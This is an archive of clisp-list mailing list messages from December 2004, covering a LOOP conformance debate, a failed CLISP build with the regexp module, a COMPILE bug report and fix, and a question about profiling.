<16820.41319.417405.553905@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, bruno@clisp.org Subject: [clisp-list] Re: loop ambiguous result or just not conforming? In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0302819309@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0302819309@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 6 10:14:08 2004 X-Original-Date: Mon, 6 Dec 2004 19:13:59 +0100 Hoehle, Joerg-Cyril writes: > Pascal Bourguignon wrote: > "The error is in clisp implementation of loop where a default result is > computed at the beginning of the loop, instead of waiting the > terminating conditions to determine default values." > > Although I can't find anything in the CLHS supporting Pascal > Bourguignon's opinion and evaluation model (last > always/thereis/until evaluated yields default), at least it has the > advantage that > + it assigns meaning to a form which otherwise has none (never+thereis) > + it is deterministic (all proposed models share this property :-) > However > - defaults are constantly changed within the loop, possibly leading > to surprising results > > (loop repeat 3 while nil always t) > -> nil with Pascal, since always is never reached. ; bad! > -> t in current CLISP (always clause => t default) ; good! Only in the case of an ambiguity between always, never and thereis should the default of the last executed clause be used. This is the interpretation of the other implementations, even those who issue a _warning_ in this case. while or until don't impose any default result. always, never and thereis do. There are two differences between the thereis and until constructs: * The until construct does not return a value or nil based on the value of the supplied form. * The until construct executes any finally clause. Since thereis uses the return-from special operator to terminate iteration, any finally clause that is supplied is not evaluated when exit occurs due to thereis. ... The constructs always, never, and thereis provide specific values to be returned when a loop terminates. (loop repeat 3 while nil always t) should still return t, like in ecl, gcl, sbcl, cmucl. The other examples, where there is only one of always, never and thereis and no other return value, should still return the default for the one clause. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From rolney@pcug.org.au Mon Dec 06 11:21:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbOQD-0001LI-CZ for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 11:21:21 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CbOQB-00056z-Lk for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 11:21:20 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iB6JLANd023473 for ; Tue, 7 Dec 2004 06:21:10 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] error compiling clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 6 11:22:01 2004 X-Original-Date: Tue, 7 Dec 2004 06:21:10 +1100 (EST) Hi, I am getting an error when compiling clisp 2.33.2 on linux debian 2.4.18 following the instructions in unix/INSTALL. The command I am using is: ./configure --with-module=regexp new The recommended steps I get are: To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd new ./makemake --with-dynamic-ffi --with-module=regexp > Makefile make config.lisp joe config.lisp make make check The final lines from make are: test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a modules.h modules.o makevars lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1) /home/ro/src/clisp-2.33.2/new/base ./txt2c -I'../' < ../src/_clisp.c > txt.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -DCOMPILE_STANDALONE -x none -O0 txt.c -o txt In file included from txt.c:1: lispbibl.d:7552: warning: register used for two global register variables ./txt > clisp.c rm -f txt.c rm -f txt builddir="`pwd`"; gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none -DLISPLIBDIR='"'$builddir'"' -DLOCALEDIR='"'$builddir/locale'"' clisp.c libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o clisp rm -rf full CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp || (rm -rf full ; exit 1) /home/ro/src/clisp-2.33.2/new/regexp make[1]: Entering directory `/home/ro/src/clisp-2.33.2/new/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/new/regexp' /home/ro/src/clisp-2.33.2/new/full gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c In file included from modules.d:12: /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two global register variables /home/ro/src/clisp-2.33.2/new/full gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run gcc: regexi.o: No such file or directory gcc: lisp.a: No such file or directory gcc: libcharset.a: No such file or directory gcc: libavcall.a: No such file or directory gcc: libcallback.a: No such file or directory base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x (saveinitmem "full/lispinit.mem") ;; Loading file regexp/preload.lisp ... ;; Loaded file regexp/preload.lisp 1202136 ; 601068 full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x (saveinitmem "full/lispinit.mem") ./clisp-link: full/lisp.run: No such file or directory make: *** [full] Error 1 I don't end up with a "full" directory as expected from INSTALL. I have tried different configure commands, different versions of clisp and a Knoppix linux with the same result. If I don't use the --with-module=regexp option it compiles OK. Grateful for any help, Robert From sds@gnu.org Mon Dec 06 11:55:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbOxV-0004OO-1M for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 11:55:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CbOxR-0001VF-19 for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 11:55:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iB6JtRpq021508; Mon, 6 Dec 2004 14:55:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, Robert Olney Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Robert Olney's message of "Tue, 7 Dec 2004 06:21:10 +1100 (EST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Robert Olney , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: error compiling clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 6 11:56:07 2004 X-Original-Date: Mon, 06 Dec 2004 14:55:27 -0500 > * Robert Olney [2004-12-07 06:21:10 +1100]: > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI > -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c > In file included from modules.d:12: > /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two > global register variables > /home/ro/src/clisp-2.33.2/new/full > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI > -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a > libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run > gcc: regexi.o: No such file or directory > gcc: lisp.a: No such file or directory > gcc: libcharset.a: No such file or directory > gcc: libavcall.a: No such file or directory > gcc: libcallback.a: No such file or directory > base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x > (saveinitmem "full/lispinit.mem") > ;; Loading file regexp/preload.lisp ... > ;; Loaded file regexp/preload.lisp > 1202136 ; > 601068 > full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x > (saveinitmem "full/lispinit.mem") > ./clisp-link: full/lisp.run: No such file or directory > make: *** [full] Error 1 this is strange. what do you have in "new/base/"? $ ls new/base/ $ ls new/regexp/ $ cd new $ make base $ make full -- Sam Steingold (http://www.podval.org/~sds) running w2k When we write programs that "learn", it turns out we do and they don't. From rolney@pcug.org.au Mon Dec 06 12:41:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbPfK-0007ZB-LW for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 12:41:02 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CbPfF-0007B3-9h for clisp-list@lists.sourceforge.net; Mon, 06 Dec 2004 12:41:02 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iB6KeoNd020966; Tue, 7 Dec 2004 07:40:50 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net cc: Bruno Haible In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: error compiling clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 6 12:42:00 2004 X-Original-Date: Tue, 7 Dec 2004 07:40:50 +1100 (EST) On Mon, 6 Dec 2004, Sam Steingold wrote: > > * Robert Olney [2004-12-07 06:21:10 +1100]: > > > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI > > -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c > > In file included from modules.d:12: > > /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two > > global register variables > > /home/ro/src/clisp-2.33.2/new/full > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI > > -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a > > libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run > > gcc: regexi.o: No such file or directory > > gcc: lisp.a: No such file or directory > > gcc: libcharset.a: No such file or directory > > gcc: libavcall.a: No such file or directory > > gcc: libcallback.a: No such file or directory > > base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x > > (saveinitmem "full/lispinit.mem") > > ;; Loading file regexp/preload.lisp ... > > ;; Loaded file regexp/preload.lisp > > 1202136 ; > > 601068 > > full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x > > (saveinitmem "full/lispinit.mem") > > ./clisp-link: full/lisp.run: No such file or directory > > make: *** [full] Error 1 > > this is strange. > what do you have in "new/base/"? > $ ls new/base/ > $ ls new/regexp/ > $ cd new > $ make base > $ make full > ro:~/src/clisp-2.33.2/new$ ls -l base total 0 lrwxrwxrwx 1 ro ro 14 Dec 7 05:55 libavcall.a -> ../libavcall.a lrwxrwxrwx 1 ro ro 16 Dec 7 05:55 libcallback.a -> ../libcallback.a lrwxrwxrwx 1 ro ro 15 Dec 7 05:55 libcharset.a -> ../libcharset.a lrwxrwxrwx 1 ro ro 18 Dec 7 05:55 libnoreadline.a -> ../libnoreadline.a lrwxrwxrwx 1 ro ro 9 Dec 7 05:55 lisp.a -> ../lisp.a lrwxrwxrwx 1 ro ro 11 Dec 7 05:55 lisp.run -> ../lisp.run lrwxrwxrwx 1 ro ro 15 Dec 7 05:55 lispinit.mem -> ../lispinit.mem lrwxrwxrwx 1 ro ro 11 Dec 7 05:55 makevars -> ../makevars lrwxrwxrwx 1 ro ro 12 Dec 7 05:55 modules.h -> ../modules.h lrwxrwxrwx 1 ro ro 12 Dec 7 05:55 modules.o -> ../modules.o ro:~/src/clisp-2.33.2/new$ ls -l regexp total 376 -rw-r--r-- 1 ro ro 951 Dec 7 05:55 Makefile -rw-r--r-- 2 ro ro 982 Feb 26 2004 Makefile.in -rw-r--r-- 2 ro ro 637 Apr 1 2000 README -rw-r--r-- 1 ro ro 2888 Dec 7 05:55 config.h -rw-r--r-- 2 ro ro 2710 Dec 31 2003 config.h.in -rw-r--r-- 1 ro ro 13204 Dec 7 05:55 config.log -rwxr-xr-x 1 ro ro 28546 Dec 7 05:55 config.status -rwxr-xr-x 2 ro ro 134526 Jun 3 2004 configure -rw-r--r-- 2 ro ro 861 Aug 3 2003 configure.in -rw-r--r-- 1 ro ro 360 Dec 7 05:55 link.sh -rw-r--r-- 2 ro ro 387 Feb 26 2004 link.sh.in -rwxr-xr-x 2 ro ro 24 Aug 7 2003 preload.lisp -rw-r--r-- 2 ro ro 4049 Mar 13 2004 regexi.c -rw-r--r-- 1 ro ro 7669 Dec 7 05:55 regexi.m.c -rw-r--r-- 1 ro ro 5440 Dec 7 05:55 regexi.o -rw-r--r-- 2 ro ro 37348 Jul 23 1998 regexp.dvi -rw-r--r-- 1 ro ro 16184 Dec 7 05:55 regexp.fas -rw-r--r-- 1 ro ro 16411 Dec 7 05:55 regexp.lib -rw-r--r-- 2 ro ro 6093 Feb 24 2004 regexp.lisp -rw-r--r-- 2 ro ro 21991 Apr 30 2003 regexp.texinfo -rw-r--r-- 2 ro ro 7704 Jan 28 2004 regexp.xml -rwxr-xr-x 2 ro ro 21166 Jan 17 2004 test.tst ro:~/src/clisp-2.33.2/new$ make base test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a modules.h modules.o makevars lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1) ro:~/src/clisp-2.33.2/new$ ls -l base total 0 lrwxrwxrwx 1 ro ro 14 Dec 7 05:55 libavcall.a -> ../libavcall.a lrwxrwxrwx 1 ro ro 16 Dec 7 05:55 libcallback.a -> ../libcallback.a lrwxrwxrwx 1 ro ro 15 Dec 7 05:55 libcharset.a -> ../libcharset.a lrwxrwxrwx 1 ro ro 18 Dec 7 05:55 libnoreadline.a -> ../libnoreadline.a lrwxrwxrwx 1 ro ro 9 Dec 7 05:55 lisp.a -> ../lisp.a lrwxrwxrwx 1 ro ro 11 Dec 7 05:55 lisp.run -> ../lisp.run lrwxrwxrwx 1 ro ro 15 Dec 7 05:55 lispinit.mem -> ../lispinit.mem lrwxrwxrwx 1 ro ro 11 Dec 7 05:55 makevars -> ../makevars lrwxrwxrwx 1 ro ro 12 Dec 7 05:55 modules.h -> ../modules.h lrwxrwxrwx 1 ro ro 12 Dec 7 05:55 modules.o -> ../modules.o ro:~/src/clisp-2.33.2/new$ make full test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a modules.h modules.o makevars lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1) test -d regexp || ../src/lndir ../modules/regexp regexp if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; CC="gcc" ./configure --cache-file=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd regexp ; dots=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}stdbool.h ${dots}libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl " RANLIB="ranlib" CLISP="$CLISP -q" /home/ro/src/clisp-2.33.2/new/regexp make[1]: Entering directory `/home/ro/src/clisp-2.33.2/new/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/new/regexp' rm -rf full CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp || (rm -rf full ; exit 1) /home/ro/src/clisp-2.33.2/new/regexp make[1]: Entering directory `/home/ro/src/clisp-2.33.2/new/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/new/regexp' /home/ro/src/clisp-2.33.2/new/full gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c In file included from modules.d:12: /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two global register variables /home/ro/src/clisp-2.33.2/new/full gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run gcc: regexi.o: No such file or directory gcc: lisp.a: No such file or directory gcc: libcharset.a: No such file or directory gcc: libavcall.a: No such file or directory gcc: libcallback.a: No such file or directory base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x (saveinitmem "full/lispinit.mem") ;; Loading file regexp/preload.lisp ... ;; Loaded file regexp/preload.lisp 1202136 ; 601068 full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x (saveinitmem "full/lispinit.mem") ./clisp-link: full/lisp.run: No such file or directory make: *** [full] Error 1 I notice that regexi.o mentioned about 15 lines above is present in new/regexp/ while lisp.a ... libcallback.a are present in new/ Robert. From michael.kappert@gmx.net Tue Dec 07 14:14:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CbnbY-0003FN-E6 for clisp-list@lists.sourceforge.net; Tue, 07 Dec 2004 14:14:44 -0800 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CbnbX-00087v-IX for clisp-list@lists.sourceforge.net; Tue, 07 Dec 2004 14:14:44 -0800 Received: (qmail 15235 invoked by uid 65534); 7 Dec 2004 22:14:34 -0000 Received: from dialin-212-144-178-137.arcor-ip.net (EHLO [212.144.178.137]) (212.144.178.137) by mail.gmx.net (mp001) with SMTP; 07 Dec 2004 23:14:34 +0100 X-Authenticated: #10708433 Message-ID: <41B62B33.3080306@gmx.net> From: Michael Kappert User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] ansi bug in compile? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 7 14:15:22 2004 X-Original-Date: Tue, 07 Dec 2004 23:14:11 +0100 Hi, in CLISP 2.33, (compile () #'function) returns nil if #'function is a compiled function. However, the Hyperspec says (http://www.lispworks.com/reference/HyperSpec/Body/f_cmp.htm) "If the name is nil, the resulting compiled function is returned directly as the primary value." Or am I overlooking something? regards Michael From sds@gnu.org Tue Dec 07 15:41:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CboxC-0001Yp-Hl for clisp-list@lists.sourceforge.net; Tue, 07 Dec 2004 15:41:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CboxB-0002g5-OS for clisp-list@lists.sourceforge.net; Tue, 07 Dec 2004 15:41:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iB7Newc4003951; Tue, 7 Dec 2004 18:40:58 -0500 (EST) To: clisp-list@lists.sourceforge.net, Michael Kappert Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <41B62B33.3080306@gmx.net> (Michael Kappert's message of "Tue, 07 Dec 2004 23:14:11 +0100") References: <41B62B33.3080306@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Kappert Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: ansi bug in compile? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 7 15:42:52 2004 X-Original-Date: Tue, 07 Dec 2004 18:40:58 -0500 > * Michael Kappert [2004-12-07 23:14:11 +0100]: > > in CLISP 2.33, > (compile () #'function) > returns nil if #'function is a compiled function. thanks. I just fixed this in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k What was there first: the Compiler or its Source code? From stralth@gmail.com Wed Dec 08 07:21:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cc3co-0000FA-KD for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 07:21:06 -0800 Received: from wproxy.gmail.com ([64.233.184.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cc3cm-00020L-9Q for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 07:21:06 -0800 Received: by wproxy.gmail.com with SMTP id 70so248067wra for ; Wed, 08 Dec 2004 07:20:57 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=ccjcftNAASml22ZUWWhUNnOjk9YOHlkgWetgVAxgo7+fE0DXYM90Yd0FPysHXRZz65g3i6atSVH2Bh3N96KfopqwUA65gLHh6Su1XTqCJz6870XHNdxqM8sU77vJgHxCH8VP1wQyhR/s4IYUhU8EYGyix0IRv+W0CnzPURKBuhQ= Received: by 10.54.33.28 with SMTP id g28mr1044649wrg; Wed, 08 Dec 2004 07:20:56 -0800 (PST) Received: by 10.54.30.43 with HTTP; Wed, 8 Dec 2004 07:20:56 -0800 (PST) Message-ID: <5d0af38104120807206811a12c@mail.gmail.com> From: Mike Kaplan Reply-To: Mike Kaplan To: clisp-list@lists.sourceforge.net Subject: [clisp-list] code profiling In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <41B62B33.3080306@gmx.net> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 8 07:22:02 2004 X-Original-Date: Wed, 8 Dec 2004 10:20:56 -0500 Hey, I've been developing with clisp for relatively short while now (and enjoying it greatly) and i've reached the point in development where I need to make my code run faster. What code profiling capabilities does clisp have if any? A(n admittedly brief) search of the documentation and web site turned up nothing for me (outside of the time function). Thanks for any help, Michael Kaplan Engineer Naval Undersea Warfare Center From hin@van-halen.alma.com Wed Dec 08 07:37:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cc3sS-0001tl-H8 for 